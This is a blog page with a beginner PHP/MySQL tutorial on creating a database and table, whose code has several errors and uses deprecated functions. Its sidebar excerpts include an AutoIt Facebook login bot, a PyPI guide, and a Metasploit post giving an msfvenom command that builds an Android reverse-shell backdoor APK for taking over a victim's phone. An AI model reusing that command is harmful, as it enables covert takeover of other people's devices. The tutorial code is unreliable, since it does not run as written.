Skip to main content

Creating Database(SQL)


Create a database if it does not exist!

SQL























-Stands for  Structured Query Language

Used to manage database //Update data on a database or retrieve data from a database


Start by creating your connection
$servername="localhost"
$username="root"
$password=""
Connect to MySQL
$link = mysql_connect($servername, $username, $password);
if (!link)
{
die('Could not connect ' . mysql_error());
}
Suppose we're creating a database with name 'test'. You must first of all make that db your current db.
$db_selected = mysql_select_db('test', $link);
You can now create your database with an appropriate name!
if (!db_selected)
{
$sql = 'CREATE DATABASE test';
if (mysql_query($sql, $link))
{
echo "Database test has been successfully made!";
require table.php;
}
else
{
echo "Error creating database: " . mysql_error() . "\n";
}
}
mysql_close($link);
?> 

Note: You might be wondering why am I calling a table.php when the db is successfully created.
Well, this is not mandatory. I called the table.php because it will create a database table with given name.

Creating the database table

Suppose we are creating a database table with name test-table in our database.

This time while connecting to MySQL, you should insert your $dbname!
$conn = new mysqli($servername, $username, $password, $dbname); 

After connecting to MySQL, you can start creating your database table.
$sql = "CREATE TABLE test.test-table"
(
id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
firstname VARCHAR(30) NOT NULL,
lastname VARCHAR(30) NOT NULL,
email VARCHAR(50),
)";
We've created our table name with:
1. id //declared as Integer and it will auto increment as well with length 6
2. firstname //declared as Varchar and length 30
3. lastname //decared asVarchar with length 30
4. email // declared as Varchar with length 50

Check if table has been created successfully!
if ($conn->query($sql) === TRUE)
{
echo "Table test_table created successfully";
}
else
{
echo "Error creating table: " . $conn->error;
}
?>
Get in on github



Popular posts from this blog

Learn how to make an auto login bot with Autoit

Start by creating a new directory and make an autoit script. Edit the script and include IE.au3:
#include 
Suppose we're writing a script which will allow a anyone to sign in his facebook on a scheduled time automatically.
It's simple, don't panic!
You need to call a function with any name you want. Let's take loginfb()!
call ("loginfb") So, we only have to write the function loginfb now!
Func loginfb()
Global $oIE = _IECreate ("https://www.facebook.com/")

Local $username = _IEGetObjByName ($oIE, "email")
Local $password = _IEgetObjByName ($oIE, "pass")
Local $button = _IEGetObjById ($oIE, "loginbutton")

_IEFormElementSetValue ($username, "") // your email here!
_IEFormElementSetValue ($password, "") //your fb password here!
Send("{Enter}")
EndFunc
$username and $password are variables. "email" and "pass" are the names given to the textarea where you are to write your emai…

[Android + msf]How to use Metasploit Framework on an Android Device?

Metasploit Framework(msf)
Requirements:
Linux-based OSYou'll need to have msfconsole installed on your machine
You'll need to have msfvenom correctly installed on the machine. This will be used to generate the backdoor. Install apktool as well.Note: This tutorial is meant for educational purposes only. Please don't misguide the purpose of this tutorial, you'll be responsible for any act of Hacking or theft.
Steps1) First of all open up your terminal. (Ctrl + Alt + T)
$ sudo apt-get update Update your repositories before starting.

2) Once updated, we can start. Simply follow the steps below to get started:
$ sudo msfvenom -p android/meterpreter/reverse_tcp LHOST='xxx.xxx.x.x' LPORT='xxxx' R > testfile.apk Replace "testfile" with any name you want. This will be the Main Activity, which when tapped on your android device will activate meterpreter on your terminal and let you gain full access to the victims android phone.

You can check out the archit…

[Python]Publish your python project to PyPI

The Python Package Index, also known as PyPI, is a large repository of python packages. Millions of developers all around the world contribute to Python daily by creating python scripts and uploading to PyPI.

In this blog post, I am going to write a simple python script that, on running, will print Hello World on the terminal. Then, going to upload this script to PyPI so that it can be installed on any platform easily using pip or pip3.

Requirements:
1. Github account
2. Basic knowledge of python
3. setuptools - (pip3 install setuptools)
4. wheel - (pip3 install wheel)

By the end of this blog post, you should be able to print hello world using a single command:


Let's get started! The first thing to do is find a unique name for your project. The name that I will call the Hello World script will be print_hello_world. At the time that I am writing this post, there is not package called print_hello_world on PyPI. Logically, after doing this tutorial, there might be one.

1. Create app f…